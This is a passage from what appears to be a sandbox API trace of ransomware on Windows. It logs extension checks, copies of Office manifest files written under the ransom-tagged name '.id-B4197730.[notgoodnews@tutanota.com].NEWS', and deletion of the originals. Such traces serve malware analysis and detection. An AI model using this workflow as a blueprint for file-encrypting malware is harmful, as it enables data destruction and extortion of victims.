(lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.694] lstrlenW (lpString=".dbf") returned 4 [0071.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.694] lstrlenW (lpString=".1cd") returned 4 [0071.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.694] lstrlenW (lpString=".jpg") returned 4 [0071.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0071.694] lstrlenW (lpString=".doc") returned 4 [0071.694] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString=".docx") returned 5 [0071.694] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.694] lstrlenW (lpString=".pdf") returned 4 [0071.694] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString=".xls") returned 4 [0071.694] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString=".xlsx") returned 5 [0071.694] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.694] lstrlenW (lpString=".ppt") returned 4 [0071.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0072.158] lstrlenW (lpString=".zip") returned 4 [0072.158] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.158] lstrlenW (lpString=".rar") returned 4 [0072.158] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.158] lstrlenW (lpString=".bz2") returned 4 [0072.158] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.158] lstrlenW (lpString=".7z") returned 3 [0072.158] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0072.158] lstrlenW (lpString=".dbf") returned 4 [0072.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0072.158] lstrlenW (lpString=".1cd") returned 4 [0072.158] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0072.158] lstrlenW (lpString=".jpg") returned 4 [0072.158] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.158] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.158] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0072.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.750] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9216) returned 1 [0072.751] CloseHandle (hObject=0x388) returned 1 [0072.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0072.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.751] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.751] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0072.751] GetLastError () returned 0x0 [0072.751] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2400, lpOverlapped=0x0) returned 1 [0072.753] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2410, lpOverlapped=0x0) returned 1 [0072.754] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.754] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.754] SetEndOfFile (hFile=0x38c) returned 1 [0072.754] CloseHandle (hObject=0x38c) returned 1 [0072.755] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.755] SetEndOfFile (hFile=0x388) returned 1 [0072.756] CloseHandle (hObject=0x388) returned 1 [0072.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0072.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.757] lstrlenW (lpString=".doc") returned 4 [0072.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.757] lstrlenW (lpString=".docx") returned 5 [0072.757] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.757] lstrlenW (lpString=".pdf") returned 4 [0072.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.757] lstrlenW (lpString=".xls") returned 4 [0072.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.757] lstrlenW (lpString=".xlsx") returned 5 [0072.757] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.757] lstrlenW (lpString=".ppt") returned 4 [0072.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.757] lstrlenW (lpString=".zip") returned 4 [0072.757] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.757] lstrlenW (lpString=".rar") returned 4 [0072.757] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.757] lstrlenW (lpString=".bz2") returned 4 [0072.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.757] lstrlenW (lpString=".7z") returned 3 [0072.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.758] lstrlenW (lpString=".dbf") returned 4 [0072.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.758] lstrlenW (lpString=".1cd") returned 4 [0072.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.758] lstrlenW (lpString=".jpg") returned 4 [0072.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.758] lstrlenW (lpString=".doc") returned 4 [0072.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString=".docx") returned 5 [0072.758] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.758] lstrlenW (lpString=".pdf") returned 4 [0072.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString=".xls") returned 4 [0072.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString=".xlsx") returned 5 [0072.758] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.758] lstrlenW (lpString=".ppt") returned 4 [0072.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.758] lstrlenW (lpString=".zip") returned 4 [0072.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.758] lstrlenW (lpString=".rar") returned 4 [0072.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString=".bz2") returned 4 [0072.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.758] lstrlenW (lpString=".7z") returned 3 [0072.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.758] lstrlenW (lpString=".dbf") returned 4 [0072.759] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.759] lstrlenW (lpString=".1cd") returned 4 [0072.759] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0072.759] lstrlenW (lpString=".jpg") returned 4 [0072.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.759] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.759] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0072.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.759] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1261) returned 1 [0072.759] CloseHandle (hObject=0x388) returned 1 [0072.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.760] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0072.760] GetLastError () returned 0x0 [0072.760] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.761] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.762] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.762] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.762] SetEndOfFile (hFile=0x38c) returned 1 [0072.762] CloseHandle (hObject=0x38c) returned 1 [0072.763] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.763] SetEndOfFile (hFile=0x388) returned 1 [0072.764] CloseHandle (hObject=0x388) returned 1 [0072.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0072.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.765] lstrlenW (lpString=".doc") returned 4 [0072.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString=".docx") returned 5 [0072.765] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.765] lstrlenW (lpString=".pdf") returned 4 [0072.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString=".xls") returned 4 [0072.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString=".xlsx") returned 5 [0072.765] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.765] lstrlenW (lpString=".ppt") returned 4 [0072.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.765] lstrlenW (lpString=".zip") returned 4 [0072.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.765] lstrlenW (lpString=".rar") returned 4 [0072.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString=".bz2") returned 4 [0072.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString=".7z") returned 3 [0072.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.765] lstrlenW (lpString=".dbf") returned 4 [0072.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.765] lstrlenW (lpString=".1cd") returned 4 [0072.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.765] lstrlenW (lpString=".jpg") returned 4 [0072.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.766] lstrlenW (lpString=".doc") returned 4 [0072.766] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString=".docx") returned 5 [0072.766] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.766] lstrlenW (lpString=".pdf") returned 4 [0072.766] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString=".xls") returned 4 [0072.766] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString=".xlsx") returned 5 [0072.766] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.766] lstrlenW (lpString=".ppt") returned 4 [0072.766] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.766] lstrlenW (lpString=".zip") returned 4 [0072.766] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.766] lstrlenW (lpString=".rar") returned 4 [0072.766] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString=".bz2") returned 4 [0072.766] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString=".7z") returned 3 [0072.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.766] lstrlenW (lpString=".dbf") returned 4 [0072.766] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.766] lstrlenW (lpString=".1cd") returned 4 [0072.766] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0072.766] lstrlenW (lpString=".jpg") returned 4 [0072.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.767] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.767] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0072.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.767] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3375) returned 1 [0072.767] CloseHandle (hObject=0x388) returned 1 [0072.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0072.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0072.767] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.767] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0072.768] GetLastError () returned 0x0 [0072.768] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0072.769] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xd30, lpOverlapped=0x0) returned 1 [0072.770] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.770] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.770] SetEndOfFile (hFile=0x38c) returned 1 [0072.770] CloseHandle (hObject=0x38c) returned 1 [0072.771] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.771] SetEndOfFile (hFile=0x388) returned 1 [0072.772] CloseHandle (hObject=0x388) returned 1 [0072.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0072.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0072.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 